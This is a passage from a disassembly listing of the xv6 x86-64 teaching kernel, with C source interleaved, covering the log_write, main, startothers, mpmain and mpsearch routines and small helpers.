ffff80000010569f: ff d0 callq *%rax
acquire(&log.lock);
ffff8000001056a1: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff8000001056a8: 80 ff ff
ffff8000001056ab: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001056b2: 80 ff ff
ffff8000001056b5: ff d0 callq *%rax
for (i = 0; i < log.lh.n; i++) {
ffff8000001056b7: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001056be: eb 29 jmp ffff8000001056e9 <log_write+0xc8>
if (log.lh.block[i] == b->blockno) // log absorbtion
ffff8000001056c0: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001056c7: 80 ff ff
ffff8000001056ca: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001056cd: 48 63 d2 movslq %edx,%rdx
ffff8000001056d0: 48 83 c2 1c add $0x1c,%rdx
ffff8000001056d4: 8b 44 90 10 mov 0x10(%rax,%rdx,4),%eax
ffff8000001056d8: 89 c2 mov %eax,%edx
ffff8000001056da: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001056de: 8b 40 08 mov 0x8(%rax),%eax
ffff8000001056e1: 39 c2 cmp %eax,%edx
ffff8000001056e3: 74 18 je ffff8000001056fd <log_write+0xdc>
for (i = 0; i < log.lh.n; i++) {
ffff8000001056e5: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff8000001056e9: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001056f0: 80 ff ff
ffff8000001056f3: 8b 40 7c mov 0x7c(%rax),%eax
ffff8000001056f6: 39 45 fc cmp %eax,-0x4(%rbp)
ffff8000001056f9: 7c c5 jl ffff8000001056c0 <log_write+0x9f>
ffff8000001056fb: eb 01 jmp ffff8000001056fe <log_write+0xdd>
break;
ffff8000001056fd: 90 nop
}
log.lh.block[i] = b->blockno;
ffff8000001056fe: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105702: 8b 40 08 mov 0x8(%rax),%eax
ffff800000105705: 89 c1 mov %eax,%ecx
ffff800000105707: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff80000010570e: 80 ff ff
ffff800000105711: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000105714: 48 63 d2 movslq %edx,%rdx
ffff800000105717: 48 83 c2 1c add $0x1c,%rdx
ffff80000010571b: 89 4c 90 10 mov %ecx,0x10(%rax,%rdx,4)
if (i == log.lh.n)
ffff80000010571f: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105726: 80 ff ff
ffff800000105729: 8b 40 7c mov 0x7c(%rax),%eax
ffff80000010572c: 39 45 fc cmp %eax,-0x4(%rbp)
ffff80000010572f: 75 1d jne ffff80000010574e <log_write+0x12d>
log.lh.n++;
ffff800000105731: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105738: 80 ff ff
ffff80000010573b: 8b 40 7c mov 0x7c(%rax),%eax
ffff80000010573e: 8d 50 01 lea 0x1(%rax),%edx
ffff800000105741: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105748: 80 ff ff
ffff80000010574b: 89 50 7c mov %edx,0x7c(%rax)
b->flags |= B_DIRTY; // prevent eviction
ffff80000010574e: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105752: 8b 00 mov (%rax),%eax
ffff800000105754: 83 c8 04 or $0x4,%eax
ffff800000105757: 89 c2 mov %eax,%edx
ffff800000105759: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010575d: 89 10 mov %edx,(%rax)
release(&log.lock);
ffff80000010575f: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff800000105766: 80 ff ff
ffff800000105769: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000105770: 80 ff ff
ffff800000105773: ff d0 callq *%rax
}
ffff800000105775: 90 nop
ffff800000105776: c9 leaveq
ffff800000105777: c3 retq
ffff800000105778 <v2p>:
#define KERNBASE 0xFFFF800000000000 // First kernel virtual address
#define KERNLINK (KERNBASE+EXTMEM) // Address where kernel is linked
#ifndef __ASSEMBLER__
static inline addr_t v2p(void *a) {
ffff800000105778: f3 0f 1e fa endbr64
ffff80000010577c: 55 push %rbp
ffff80000010577d: 48 89 e5 mov %rsp,%rbp
ffff800000105780: 48 83 ec 08 sub $0x8,%rsp
ffff800000105784: 48 89 7d f8 mov %rdi,-0x8(%rbp)
return ((addr_t) (a)) - ((addr_t)KERNBASE);
ffff800000105788: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010578c: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff800000105793: 80 00 00
ffff800000105796: 48 01 d0 add %rdx,%rax
}
ffff800000105799: c9 leaveq
ffff80000010579a: c3 retq
ffff80000010579b <xchg>:
static inline uint
xchg(volatile uint *addr, addr_t newval)
{
ffff80000010579b: f3 0f 1e fa endbr64
ffff80000010579f: 55 push %rbp
ffff8000001057a0: 48 89 e5 mov %rsp,%rbp
ffff8000001057a3: 48 83 ec 20 sub $0x20,%rsp
ffff8000001057a7: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff8000001057ab: 48 89 75 e0 mov %rsi,-0x20(%rbp)
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
ffff8000001057af: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff8000001057b3: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001057b7: 48 8b 4d e8 mov -0x18(%rbp),%rcx
ffff8000001057bb: f0 87 02 lock xchg %eax,(%rdx)
ffff8000001057be: 89 45 fc mov %eax,-0x4(%rbp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
ffff8000001057c1: 8b 45 fc mov -0x4(%rbp),%eax
}
ffff8000001057c4: c9 leaveq
ffff8000001057c5: c3 retq
ffff8000001057c6 <main>:
// Bootstrap processor starts running C code here.
// Allocate a real stack and switch to it, first
// doing some setup required for memory allocator to work.
int
main(void)
{
ffff8000001057c6: f3 0f 1e fa endbr64
ffff8000001057ca: 55 push %rbp
ffff8000001057cb: 48 89 e5 mov %rsp,%rbp
uartearlyinit();
ffff8000001057ce: 48 b8 fd 9f 10 00 00 movabs $0xffff800000109ffd,%rax
ffff8000001057d5: 80 ff ff
ffff8000001057d8: ff d0 callq *%rax
kinit1(end, P2V(4*1024*1024)); // phys page allocator
ffff8000001057da: 48 be 00 00 40 00 00 movabs $0xffff800000400000,%rsi
ffff8000001057e1: 80 ff ff
ffff8000001057e4: 48 bf 00 b0 1f 00 00 movabs $0xffff8000001fb000,%rdi
ffff8000001057eb: 80 ff ff
ffff8000001057ee: 48 b8 3d 40 10 00 00 movabs $0xffff80000010403d,%rax
ffff8000001057f5: 80 ff ff
ffff8000001057f8: ff d0 callq *%rax
kvmalloc(); // kernel page table
ffff8000001057fa: 48 b8 af b2 10 00 00 movabs $0xffff80000010b2af,%rax
ffff800000105801: 80 ff ff
ffff800000105804: ff d0 callq *%rax
mpinit(); // detect other processors
ffff800000105806: 48 b8 e9 5d 10 00 00 movabs $0xffff800000105de9,%rax
ffff80000010580d: 80 ff ff
ffff800000105810: ff d0 callq *%rax
lapicinit(); // interrupt controller
ffff800000105812: 48 b8 c4 48 10 00 00 movabs $0xffff8000001048c4,%rax
ffff800000105819: 80 ff ff
ffff80000010581c: ff d0 callq *%rax
tvinit(); // trap vectors
ffff80000010581e: 48 b8 38 9b 10 00 00 movabs $0xffff800000109b38,%rax
ffff800000105825: 80 ff ff
ffff800000105828: ff d0 callq *%rax
seginit(); // segment descriptors
ffff80000010582a: 48 b8 ec ad 10 00 00 movabs $0xffff80000010adec,%rax
ffff800000105831: 80 ff ff
ffff800000105834: ff d0 callq *%rax
cprintf("\ncpu%d: starting xv6\n\n", cpunum());
ffff800000105836: 48 b8 59 4a 10 00 00 movabs $0xffff800000104a59,%rax
ffff80000010583d: 80 ff ff
ffff800000105840: ff d0 callq *%rax
ffff800000105842: 89 c6 mov %eax,%esi
ffff800000105844: 48 bf 40 c7 10 00 00 movabs $0xffff80000010c740,%rdi
ffff80000010584b: 80 ff ff
ffff80000010584e: b8 00 00 00 00 mov $0x0,%eax
ffff800000105853: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff80000010585a: 80 ff ff
ffff80000010585d: ff d2 callq *%rdx
ioapicinit(); // another interrupt controller
ffff80000010585f: 48 b8 03 3f 10 00 00 movabs $0xffff800000103f03,%rax
ffff800000105866: 80 ff ff
ffff800000105869: ff d0 callq *%rax
consoleinit(); // console hardware
ffff80000010586b: 48 b8 9b 14 10 00 00 movabs $0xffff80000010149b,%rax
ffff800000105872: 80 ff ff
ffff800000105875: ff d0 callq *%rax
uartinit(); // serial port
ffff800000105877: 48 b8 05 a1 10 00 00 movabs $0xffff80000010a105,%rax
ffff80000010587e: 80 ff ff
ffff800000105881: ff d0 callq *%rax
pinit(); // process table
ffff800000105883: 48 b8 3d 65 10 00 00 movabs $0xffff80000010653d,%rax
ffff80000010588a: 80 ff ff
ffff80000010588d: ff d0 callq *%rax
binit(); // buffer cache
ffff80000010588f: 48 b8 1a 01 10 00 00 movabs $0xffff80000010011a,%rax
ffff800000105896: 80 ff ff
ffff800000105899: ff d0 callq *%rax
fileinit(); // file table
ffff80000010589b: 48 b8 59 1b 10 00 00 movabs $0xffff800000101b59,%rax
ffff8000001058a2: 80 ff ff
ffff8000001058a5: ff d0 callq *%rax
ideinit(); // disk
ffff8000001058a7: 48 b8 66 39 10 00 00 movabs $0xffff800000103966,%rax
ffff8000001058ae: 80 ff ff
ffff8000001058b1: ff d0 callq *%rax
startothers(); // start other processors
ffff8000001058b3: 48 b8 a7 59 10 00 00 movabs $0xffff8000001059a7,%rax
ffff8000001058ba: 80 ff ff
ffff8000001058bd: ff d0 callq *%rax
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
ffff8000001058bf: 48 be 00 00 00 0e 00 movabs $0xffff80000e000000,%rsi
ffff8000001058c6: 80 ff ff
ffff8000001058c9: 48 bf 00 00 40 00 00 movabs $0xffff800000400000,%rdi
ffff8000001058d0: 80 ff ff
ffff8000001058d3: 48 b8 d1 40 10 00 00 movabs $0xffff8000001040d1,%rax
ffff8000001058da: 80 ff ff
ffff8000001058dd: ff d0 callq *%rax
userinit(); // first user process
ffff8000001058df: 48 b8 e5 66 10 00 00 movabs $0xffff8000001066e5,%rax
ffff8000001058e6: 80 ff ff
ffff8000001058e9: ff d0 callq *%rax
mpmain(); // finish this processor's setup
ffff8000001058eb: 48 b8 2f 59 10 00 00 movabs $0xffff80000010592f,%rax
ffff8000001058f2: 80 ff ff
ffff8000001058f5: ff d0 callq *%rax
ffff8000001058f7 <mpenter>:
}
// Other CPUs jump here from entryother.S.
void
mpenter(void)
{
ffff8000001058f7: f3 0f 1e fa endbr64
ffff8000001058fb: 55 push %rbp
ffff8000001058fc: 48 89 e5 mov %rsp,%rbp
switchkvm();
ffff8000001058ff: 48 b8 b9 b6 10 00 00 movabs $0xffff80000010b6b9,%rax
ffff800000105906: 80 ff ff
ffff800000105909: ff d0 callq *%rax
seginit();
ffff80000010590b: 48 b8 ec ad 10 00 00 movabs $0xffff80000010adec,%rax
ffff800000105912: 80 ff ff
ffff800000105915: ff d0 callq *%rax
lapicinit();
ffff800000105917: 48 b8 c4 48 10 00 00 movabs $0xffff8000001048c4,%rax
ffff80000010591e: 80 ff ff
ffff800000105921: ff d0 callq *%rax
mpmain();
ffff800000105923: 48 b8 2f 59 10 00 00 movabs $0xffff80000010592f,%rax
ffff80000010592a: 80 ff ff
ffff80000010592d: ff d0 callq *%rax
ffff80000010592f <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
ffff80000010592f: f3 0f 1e fa endbr64
ffff800000105933: 55 push %rbp
ffff800000105934: 48 89 e5 mov %rsp,%rbp
cprintf("cpu%d: starting\n", cpunum());
ffff800000105937: 48 b8 59 4a 10 00 00 movabs $0xffff800000104a59,%rax
ffff80000010593e: 80 ff ff
ffff800000105941: ff d0 callq *%rax
ffff800000105943: 89 c6 mov %eax,%esi
ffff800000105945: 48 bf 57 c7 10 00 00 movabs $0xffff80000010c757,%rdi
ffff80000010594c: 80 ff ff
ffff80000010594f: b8 00 00 00 00 mov $0x0,%eax
ffff800000105954: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff80000010595b: 80 ff ff
ffff80000010595e: ff d2 callq *%rdx
idtinit(); // load idt register
ffff800000105960: 48 b8 0c 9b 10 00 00 movabs $0xffff800000109b0c,%rax
ffff800000105967: 80 ff ff
ffff80000010596a: ff d0 callq *%rax
syscallinit(); // syscall set up
ffff80000010596c: 48 b8 74 ad 10 00 00 movabs $0xffff80000010ad74,%rax
ffff800000105973: 80 ff ff
ffff800000105976: ff d0 callq *%rax
xchg(&cpu->started, 1); // tell startothers() we're up
ffff800000105978: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff80000010597f: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000105983: 48 83 c0 10 add $0x10,%rax
ffff800000105987: be 01 00 00 00 mov $0x1,%esi
ffff80000010598c: 48 89 c7 mov %rax,%rdi
ffff80000010598f: 48 b8 9b 57 10 00 00 movabs $0xffff80000010579b,%rax
ffff800000105996: 80 ff ff
ffff800000105999: ff d0 callq *%rax
scheduler(); // start running processes
ffff80000010599b: 48 b8 4c 6f 10 00 00 movabs $0xffff800000106f4c,%rax
ffff8000001059a2: 80 ff ff
ffff8000001059a5: ff d0 callq *%rax
ffff8000001059a7 <startothers>:
void entry32mp(void);
// Start the non-boot (AP) processors.
static void
startothers(void)
{
ffff8000001059a7: f3 0f 1e fa endbr64
ffff8000001059ab: 55 push %rbp
ffff8000001059ac: 48 89 e5 mov %rsp,%rbp
ffff8000001059af: 48 83 ec 20 sub $0x20,%rsp
char *stack;
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
ffff8000001059b3: 48 b8 00 70 00 00 00 movabs $0xffff800000007000,%rax
ffff8000001059ba: 80 ff ff
ffff8000001059bd: 48 89 45 f0 mov %rax,-0x10(%rbp)
memmove(code, _binary_entryother_start,
ffff8000001059c1: 48 b8 72 00 00 00 00 movabs $0x72,%rax
ffff8000001059c8: 00 00 00
ffff8000001059cb: 89 c2 mov %eax,%edx
ffff8000001059cd: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001059d1: 48 be 9c de 10 00 00 movabs $0xffff80000010de9c,%rsi
ffff8000001059d8: 80 ff ff
ffff8000001059db: 48 89 c7 mov %rax,%rdi
ffff8000001059de: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff8000001059e5: 80 ff ff
ffff8000001059e8: ff d0 callq *%rax
(addr_t)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
ffff8000001059ea: 48 b8 e0 72 1f 00 00 movabs $0xffff8000001f72e0,%rax
ffff8000001059f1: 80 ff ff
ffff8000001059f4: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff8000001059f8: e9 c0 00 00 00 jmpq ffff800000105abd <startothers+0x116>
if(c == cpus+cpunum()) // We've started already.
ffff8000001059fd: 48 b8 59 4a 10 00 00 movabs $0xffff800000104a59,%rax
ffff800000105a04: 80 ff ff
ffff800000105a07: ff d0 callq *%rax
ffff800000105a09: 48 63 d0 movslq %eax,%rdx
ffff800000105a0c: 48 89 d0 mov %rdx,%rax
ffff800000105a0f: 48 c1 e0 02 shl $0x2,%rax
ffff800000105a13: 48 01 d0 add %rdx,%rax
ffff800000105a16: 48 c1 e0 03 shl $0x3,%rax
ffff800000105a1a: 48 89 c2 mov %rax,%rdx
ffff800000105a1d: 48 b8 e0 72 1f 00 00 movabs $0xffff8000001f72e0,%rax
ffff800000105a24: 80 ff ff
ffff800000105a27: 48 01 d0 add %rdx,%rax
ffff800000105a2a: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff800000105a2e: 0f 84 83 00 00 00 je ffff800000105ab7 <startothers+0x110>
continue;
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
ffff800000105a34: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff800000105a3b: 80 ff ff
ffff800000105a3e: ff d0 callq *%rax
ffff800000105a40: 48 89 45 e8 mov %rax,-0x18(%rbp)
*(uint32*)(code-4) = 0x8000; // enough stack to get us to entry64mp
ffff800000105a44: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105a48: 48 83 e8 04 sub $0x4,%rax
ffff800000105a4c: c7 00 00 80 00 00 movl $0x8000,(%rax)
*(uint32*)(code-8) = v2p(entry32mp);
ffff800000105a52: 48 bf 49 00 10 00 00 movabs $0xffff800000100049,%rdi
ffff800000105a59: 80 ff ff
ffff800000105a5c: 48 b8 78 57 10 00 00 movabs $0xffff800000105778,%rax
ffff800000105a63: 80 ff ff
ffff800000105a66: ff d0 callq *%rax
ffff800000105a68: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff800000105a6c: 48 83 ea 08 sub $0x8,%rdx
ffff800000105a70: 89 02 mov %eax,(%rdx)
*(uint64*)(code-16) = (uint64) (stack + KSTACKSIZE);
ffff800000105a72: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105a76: 48 8d 90 00 10 00 00 lea 0x1000(%rax),%rdx
ffff800000105a7d: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105a81: 48 83 e8 10 sub $0x10,%rax
ffff800000105a85: 48 89 10 mov %rdx,(%rax)
lapicstartap(c->apicid, V2P(code));
ffff800000105a88: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105a8c: 89 c2 mov %eax,%edx
ffff800000105a8e: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105a92: 0f b6 40 01 movzbl 0x1(%rax),%eax
ffff800000105a96: 0f b6 c0 movzbl %al,%eax
ffff800000105a99: 89 d6 mov %edx,%esi
ffff800000105a9b: 89 c7 mov %eax,%edi
ffff800000105a9d: 48 b8 a1 4b 10 00 00 movabs $0xffff800000104ba1,%rax
ffff800000105aa4: 80 ff ff
ffff800000105aa7: ff d0 callq *%rax
// wait for cpu to finish mpmain()
while(c->started == 0)
ffff800000105aa9: 90 nop
ffff800000105aaa: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105aae: 8b 40 10 mov 0x10(%rax),%eax
ffff800000105ab1: 85 c0 test %eax,%eax
ffff800000105ab3: 74 f5 je ffff800000105aaa <startothers+0x103>
ffff800000105ab5: eb 01 jmp ffff800000105ab8 <startothers+0x111>
continue;
ffff800000105ab7: 90 nop
for(c = cpus; c < cpus+ncpu; c++){
ffff800000105ab8: 48 83 45 f8 28 addq $0x28,-0x8(%rbp)
ffff800000105abd: 48 b8 20 74 1f 00 00 movabs $0xffff8000001f7420,%rax
ffff800000105ac4: 80 ff ff
ffff800000105ac7: 8b 00 mov (%rax),%eax
ffff800000105ac9: 48 63 d0 movslq %eax,%rdx
ffff800000105acc: 48 89 d0 mov %rdx,%rax
ffff800000105acf: 48 c1 e0 02 shl $0x2,%rax
ffff800000105ad3: 48 01 d0 add %rdx,%rax
ffff800000105ad6: 48 c1 e0 03 shl $0x3,%rax
ffff800000105ada: 48 89 c2 mov %rax,%rdx
ffff800000105add: 48 b8 e0 72 1f 00 00 movabs $0xffff8000001f72e0,%rax
ffff800000105ae4: 80 ff ff
ffff800000105ae7: 48 01 d0 add %rdx,%rax
ffff800000105aea: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff800000105aee: 0f 82 09 ff ff ff jb ffff8000001059fd <startothers+0x56>
;
}
}
ffff800000105af4: 90 nop
ffff800000105af5: 90 nop
ffff800000105af6: c9 leaveq
ffff800000105af7: c3 retq
ffff800000105af8 <inb>:
{
ffff800000105af8: f3 0f 1e fa endbr64
ffff800000105afc: 55 push %rbp
ffff800000105afd: 48 89 e5 mov %rsp,%rbp
ffff800000105b00: 48 83 ec 18 sub $0x18,%rsp
ffff800000105b04: 89 f8 mov %edi,%eax
ffff800000105b06: 66 89 45 ec mov %ax,-0x14(%rbp)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
ffff800000105b0a: 0f b7 45 ec movzwl -0x14(%rbp),%eax
ffff800000105b0e: 89 c2 mov %eax,%edx
ffff800000105b10: ec in (%dx),%al
ffff800000105b11: 88 45 ff mov %al,-0x1(%rbp)
return data;
ffff800000105b14: 0f b6 45 ff movzbl -0x1(%rbp),%eax
}
ffff800000105b18: c9 leaveq
ffff800000105b19: c3 retq
ffff800000105b1a <outb>:
{
ffff800000105b1a: f3 0f 1e fa endbr64
ffff800000105b1e: 55 push %rbp
ffff800000105b1f: 48 89 e5 mov %rsp,%rbp
ffff800000105b22: 48 83 ec 08 sub $0x8,%rsp
ffff800000105b26: 89 f8 mov %edi,%eax
ffff800000105b28: 89 f2 mov %esi,%edx
ffff800000105b2a: 66 89 45 fc mov %ax,-0x4(%rbp)
ffff800000105b2e: 89 d0 mov %edx,%eax
ffff800000105b30: 88 45 f8 mov %al,-0x8(%rbp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
ffff800000105b33: 0f b6 45 f8 movzbl -0x8(%rbp),%eax
ffff800000105b37: 0f b7 55 fc movzwl -0x4(%rbp),%edx
ffff800000105b3b: ee out %al,(%dx)
}
ffff800000105b3c: 90 nop
ffff800000105b3d: c9 leaveq
ffff800000105b3e: c3 retq
ffff800000105b3f <sum>:
int ncpu;
uchar ioapicid;
static uchar
sum(uchar *addr, int len)
{
ffff800000105b3f: f3 0f 1e fa endbr64
ffff800000105b43: 55 push %rbp
ffff800000105b44: 48 89 e5 mov %rsp,%rbp
ffff800000105b47: 48 83 ec 20 sub $0x20,%rsp
ffff800000105b4b: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000105b4f: 89 75 e4 mov %esi,-0x1c(%rbp)
int i, sum;
sum = 0;
ffff800000105b52: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%rbp)
for(i=0; i<len; i++)
ffff800000105b59: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000105b60: eb 1a jmp ffff800000105b7c <sum+0x3d>
sum += addr[i];
ffff800000105b62: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000105b65: 48 63 d0 movslq %eax,%rdx
ffff800000105b68: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105b6c: 48 01 d0 add %rdx,%rax
ffff800000105b6f: 0f b6 00 movzbl (%rax),%eax
ffff800000105b72: 0f b6 c0 movzbl %al,%eax
ffff800000105b75: 01 45 f8 add %eax,-0x8(%rbp)
for(i=0; i<len; i++)
ffff800000105b78: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000105b7c: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000105b7f: 3b 45 e4 cmp -0x1c(%rbp),%eax
ffff800000105b82: 7c de jl ffff800000105b62 <sum+0x23>
return sum;
ffff800000105b84: 8b 45 f8 mov -0x8(%rbp),%eax
}
ffff800000105b87: c9 leaveq
ffff800000105b88: c3 retq
ffff800000105b89 <mpsearch1>:
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(addr_t a, int len)
{
ffff800000105b89: f3 0f 1e fa endbr64
ffff800000105b8d: 55 push %rbp
ffff800000105b8e: 48 89 e5 mov %rsp,%rbp
ffff800000105b91: 48 83 ec 30 sub $0x30,%rsp
ffff800000105b95: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff800000105b99: 89 75 d4 mov %esi,-0x2c(%rbp)
uchar *e, *p, *addr;
addr = P2V(a);
ffff800000105b9c: 48 ba 00 00 00 00 00 movabs $0xffff800000000000,%rdx
ffff800000105ba3: 80 ff ff
ffff800000105ba6: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000105baa: 48 01 d0 add %rdx,%rax
ffff800000105bad: 48 89 45 f0 mov %rax,-0x10(%rbp)
e = addr+len;
ffff800000105bb1: 8b 45 d4 mov -0x2c(%rbp),%eax
ffff800000105bb4: 48 63 d0 movslq %eax,%rdx
ffff800000105bb7: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105bbb: 48 01 d0 add %rdx,%rax
ffff800000105bbe: 48 89 45 e8 mov %rax,-0x18(%rbp)
for(p = addr; p < e; p += sizeof(struct mp))
ffff800000105bc2: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105bc6: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000105bca: eb 4d jmp ffff800000105c19 <mpsearch1+0x90>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
ffff800000105bcc: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105bd0: ba 04 00 00 00 mov $0x4,%edx
ffff800000105bd5: 48 be 68 c7 10 00 00 movabs $0xffff80000010c768,%rsi
ffff800000105bdc: 80 ff ff
ffff800000105bdf: 48 89 c7 mov %rax,%rdi
ffff800000105be2: 48 b8 9d 7c 10 00 00 movabs $0xffff800000107c9d,%rax
ffff800000105be9: 80 ff ff
ffff800000105bec: ff d0 callq *%rax
ffff800000105bee: 85 c0 test %eax,%eax
ffff800000105bf0: 75 22 jne ffff800000105c14 <mpsearch1+0x8b>
ffff800000105bf2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105bf6: be 10 00 00 00 mov $0x10,%esi
ffff800000105bfb: 48 89 c7 mov %rax,%rdi
ffff800000105bfe: 48 b8 3f 5b 10 00 00 movabs $0xffff800000105b3f,%rax
ffff800000105c05: 80 ff ff
ffff800000105c08: ff d0 callq *%rax
ffff800000105c0a: 84 c0 test %al,%al
ffff800000105c0c: 75 06 jne ffff800000105c14 <mpsearch1+0x8b>
return (struct mp*)p;
ffff800000105c0e: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105c12: eb 14 jmp ffff800000105c28 <mpsearch1+0x9f>
for(p = addr; p < e; p += sizeof(struct mp))
ffff800000105c14: 48 83 45 f8 10 addq $0x10,-0x8(%rbp)
ffff800000105c19: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105c1d: 48 3b 45 e8 cmp -0x18(%rbp),%rax
ffff800000105c21: 72 a9 jb ffff800000105bcc <mpsearch1+0x43>
return 0;
ffff800000105c23: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000105c28: c9 leaveq
ffff800000105c29: c3 retq
ffff800000105c2a <mpsearch>:
// 1) in the first KB of the EBDA;
// 2) in the last KB of system base memory;
// 3) in the BIOS ROM between 0xE0000 and 0xFFFFF.
static struct mp*
mpsearch(void)
{
ffff800000105c2a: f3 0f 1e fa endbr64
ffff800000105c2e: 55 push %rbp
ffff800000105c2f: 48 89 e5 mov %rsp,%rbp
ffff800000105c32: 48 83 ec 20 sub $0x20,%rsp
uchar *bda;
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
ffff800000105c36: 48 b8 00 04 00 00 00 movabs $0xffff800000000400,%rax
ffff800000105c3d: 80 ff ff
ffff800000105c40: 48 89 45 f8 mov %rax,-0x8(%rbp)
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
ffff800000105c44: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105c48: 48 83 c0 0f add $0xf,%rax
ffff800000105c4c: 0f b6 00 movzbl (%rax),%eax
ffff800000105c4f: 0f b6 c0 movzbl %al,%eax
ffff800000105c52: c1 e0 08 shl $0x8,%eax
ffff800000105c55: 89 c2 mov %eax,%edx
ffff800000105c57: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105c5b: 48 83 c0 0e add $0xe,%rax
ffff800000105c5f: 0f b6 00 movzbl (%rax),%eax
ffff800000105c62: 0f b6 c0 movzbl %al,%eax
ffff800000105c65: 09 d0 or %edx,%eax
ffff800000105c67: c1 e0 04 shl $0x4,%eax
ffff800000105c6a: 89 45 f4 mov %eax,-0xc(%rbp)
ffff800000105c6d: 83 7d f4 00 cmpl $0x0,-0xc(%rbp)
ffff800000105c71: 74 28 je ffff800000105c9b <mpsearch+0x71>
if((mp = mpsearch1(p, 1024)))
ffff800000105c73: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000105c76: be 00 04 00 00 mov $0x400,%esi
ffff800000105c7b: 48 89 c7 mov %rax,%rdi
ffff800000105c7e: 48 b8 89 5b 10 00 00 movabs $0xffff800000105b89,%rax
ffff800000105c85: 80 ff ff
ffff800000105c88: ff d0 callq *%rax
ffff800000105c8a: 48 89 45 e8 mov %rax,-0x18(%rbp)
ffff800000105c8e: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff800000105c93: 74 5e je ffff800000105cf3 <mpsearch+0xc9>
return mp;
ffff800000105c95: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105c99: eb 6e jmp ffff800000105d09 <mpsearch+0xdf>
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
ffff800000105c9b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105c9f: 48 83 c0 14 add $0x14,%rax
ffff800000105ca3: 0f b6 00 movzbl (%rax),%eax
ffff800000105ca6: 0f b6 c0 movzbl %al,%eax
ffff800000105ca9: c1 e0 08 shl $0x8,%eax
ffff800000105cac: 89 c2 mov %eax,%edx
ffff800000105cae: 48 8b 45 f8 mov -0x8(%rbp),%rax
